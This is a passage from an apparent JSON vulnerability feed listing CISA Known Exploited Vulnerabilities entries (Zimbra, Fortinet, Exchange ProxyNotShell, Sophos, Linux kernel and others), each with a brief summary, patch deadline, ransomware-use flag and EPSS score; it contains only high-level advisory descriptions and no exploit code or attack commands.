instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.49166,"percentile":0.98875,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-3493&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-3493","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-10-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-3493 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-3493&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-3493, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-41352","cveId":"CVE-2022-41352","aliases":[],"kind":"vulnerability","title":"Synacor Zimbra Collaboration Suite (ZCS) Arbitrary File Upload Vulnerability","summary":"Synacor Zimbra Collaboration Suite (ZCS) allows an attacker to upload arbitrary files using cpio package to gain incorrect access to any other user accounts.","detail":"CISA added this entry on 2022-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-10-20","updatedAt":null,"regions":["Global"],"vendor":"Synacor","product":"Zimbra Collaboration Suite (ZCS)","stacks":["Zimbra","Synacor","Zimbra Collaboration Suite (ZCS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-10-20","dueAt":"2022-11-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.95478,"percentile":0.99868,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-41352&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-41352","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-10-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-41352 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-41352&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-41352, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-40684","cveId":"CVE-2022-40684","aliases":[],"kind":"vulnerability","title":"Fortinet Multiple Products Authentication Bypass Vulnerability","summary":"Fortinet FortiOS, FortiProxy, and FortiSwitchManager contain an authentication bypass vulnerability that could allow an unauthenticated attacker to perform operations on the administrative interface via specially crafted HTTP or HTTPS requests.","detail":"CISA added this entry on 2022-10-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-10-11","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"Multiple Products","stacks":["Fortinet","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-10-11","dueAt":"2022-11-01","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99984,"percentile":0.99983,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-40684&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-40684","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-10-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-40684 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-40684&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-40684, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-41033","cveId":"CVE-2022-41033","aliases":[],"kind":"vulnerability","title":"Microsoft Windows COM+ Event System Service Privilege Escalation Vulnerability","summary":"Microsoft Windows COM+ Event System Service contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2022-10-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-10-11","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows COM+ Event System Service","stacks":["Microsoft Windows","Microsoft","Windows COM+ Event System Service"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-10-11","dueAt":"2022-11-01","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01886,"percentile":0.79366,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-41033&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-41033","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-10-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-41033 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-41033&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-41033, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-36804","cveId":"CVE-2022-36804","aliases":[],"kind":"vulnerability","title":"Atlassian Bitbucket Server and Data Center Command Injection Vulnerability","summary":"Multiple API endpoints of Atlassian Bitbucket Server and Data Center contain a command injection vulnerability where an attacker with access to a public Bitbucket repository, or with read permissions to a private one, can execute code by sending a malicious HTTP request.","detail":"CISA added this entry on 2022-09-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-09-30","updatedAt":null,"regions":["Global"],"vendor":"Atlassian","product":"Bitbucket Server and Data Center","stacks":["Atlassian","Bitbucket Server and Data Center"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-09-30","dueAt":"2022-10-21","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99077,"percentile":0.99932,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-36804&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-36804","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-09-30","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-36804 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-36804&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-36804, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-41040","cveId":"CVE-2022-41040","aliases":[],"kind":"vulnerability","title":"Microsoft Exchange Server Server-Side Request Forgery Vulnerability","summary":"Microsoft Exchange Server allows for server-side request forgery. Dubbed \"ProxyNotShell,\" this vulnerability is chainable with CVE-2022-41082 which allows for remote code execution.","detail":"CISA added this entry on 2022-09-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-09-30","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Exchange Server","stacks":["Microsoft Exchange","Microsoft","Exchange Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-09-30","dueAt":"2022-10-21","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99956,"percentile":0.99974,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-41040&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-41040","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-09-30","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-41040 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-41040&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-41040, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-41082","cveId":"CVE-2022-41082","aliases":[],"kind":"vulnerability","title":"Microsoft Exchange Server Remote Code Execution Vulnerability","summary":"Microsoft Exchange Server contains an unspecified vulnerability that allows for authenticated remote code execution. Dubbed \"ProxyNotShell,\" this vulnerability is chainable with CVE-2022-41040 which allows for the remote code execution.","detail":"CISA added this entry on 2022-09-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-09-30","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Exchange Server","stacks":["Microsoft Exchange","Microsoft","Exchange Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-09-30","dueAt":"2022-10-21","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9997,"percentile":0.99977,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-41082&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-41082","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-09-30","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-41082 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-41082&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-41082, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-3236","cveId":"CVE-2022-3236","aliases":[],"kind":"vulnerability","title":"Sophos Firewall Code Injection Vulnerability","summary":"A code injection vulnerability in the User Portal and Webadmin of Sophos Firewall allows for remote code execution.","detail":"CISA added this entry on 2022-09-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-09-23","updatedAt":null,"regions":["Global"],"vendor":"Sophos","product":"Firewall","stacks":["Sophos","Firewall"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-09-23","dueAt":"2022-10-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98905,"percentile":0.99927,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-3236&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-3236","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-09-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-3236 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-3236&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-3236, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-35405","cveId":"CVE-2022-35405","aliases":[],"kind":"vulnerability","title":"Zoho ManageEngine Multiple Products Remote Code Execution Vulnerability","summary":"Zoho ManageEngine PAM360, Password Manager Pro, and Access Manager Plus contain an unspecified vulnerability that allows for remote code execution.","detail":"CISA added this entry on 2022-09-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-09-22","updatedAt":null,"regions":["Global"],"vendor":"Zoho","product":"ManageEngine","stacks":["Zoho ManageEngine","Zoho","ManageEngine"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-09-22","dueAt":"2022-10-13","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99873,"percentile":0.99963,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-35405&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-35405","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-09-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-35405 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-35405&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-35405, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2010-2568","cveId":"CVE-2010-2568","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Remote Code Execution Vulnerability","summary":"Microsoft Windows incorrectly parses shortcuts in such a way that malicious code may be executed when the operating system displays the icon of a malicious shortcut file. An attacker who successfully exploited this vulnerability could execute code as the logged-on user.","detail":"CISA added this entry on 2022-09-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-09-15","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-09-15","dueAt":"2022-10-06","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.89623,"percentile":0.99785,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2010-2568&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2010-2568","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-09-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2010-2568 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2010-2568&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2010-2568, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-2094","cveId":"CVE-2013-2094","aliases":[],"kind":"vulnerability","title":"Linux Kernel Privilege Escalation Vulnerability","summary":"Linux kernel fails to check all 64 bits of attr.config passed by user space, resulting to out-of-bounds access of the perf_swevent_enabled array in sw_perf_event_destroy(). Explotation allows for privilege escalation.","detail":"CISA added this entry on 2022-09-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-09-15","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-09-15","dueAt":"2022-10-06","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.47709,"percentile":0.9884,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-2094&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-2094","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-09-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-2094 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-2094&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-2094, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-2596","cveId":"CVE-2013-2596","aliases":[],"kind":"vulnerability","title":"Linux Kernel Integer Overflow Vulnerability","summary":"Linux kernel fb_mmap function in drivers/video/fbmem.c contains an integer overflow vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2022-09-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-09-15","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-09-15","dueAt":"2022-10-06","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03212,"percentile":0.88091,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-2596&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-2596","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-09-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-2596 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-2596&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-2596, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-2597","cveId":"CVE-2013-2597","aliases":[],"kind":"vulnerability","title":"Code Aurora ACDB Audio Driver Stack-based Buffer Overflow Vulnerability","summary":"The Code Aurora audio calibration database (acdb) audio driver contains a stack-based buffer overflow vulnerability that allows for privilege escalation. Code Aurora is used in third-party products such as Qualcomm and Android.","detail":"CISA added this entry on 2022-09-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-09-15","updatedAt":null,"regions":["Global"],"vendor":"Code Aurora","product":"ACDB Audio Driver","stacks":["Code Aurora","ACDB Audio Driver"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-09-15","dueAt":"2022-10-06","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01503,"percentile":0.74137,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-2597&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-2597","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-09-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-2597 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-2597&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-2597, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-6282","cveId":"CVE-2013-6282","aliases":[],"kind":"vulnerability","title":"Linux Kernel Improper Input Validation Vulnerability","summary":"The get_user and put_user API functions of the Linux kernel fail to validate the target address when being used on ARM v6k/v7 platforms. This allows an application to read and write kernel memory which could lead to privilege escalation.","detail":"CISA added this entry on 2022-09-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-09-15","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-09-15","dueAt":"2022-10-06","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.39711,"percentile":0.98611,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-6282&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-6282","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-09-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-6282 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-6282&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-6282, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-40139","cveId":"CVE-2022-40139","aliases":[],"kind":"vulnerability","title":"Trend Micro Apex One and Apex One as a Service Improper Validation Vulnerability","summary":"Trend Micro Apex One and Apex One as a Service contain an improper validation of rollback mechanism components that could lead to remote code execution.","detail":"CISA added this entry on 2022-09-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-09-15","updatedAt":null,"regions":["Global"],"vendor":"Trend Micro","product":"Apex One and Apex One as a Service","stacks":["Trend Micro","Apex One and Apex One as a Service"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-09-15","dueAt":"2022-10-06","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03291,"percentile":0.88401,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-40139&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-40139","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-09-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-40139 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-40139&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-40139, scored 2026-10-25. This is a model estimate, not proof of 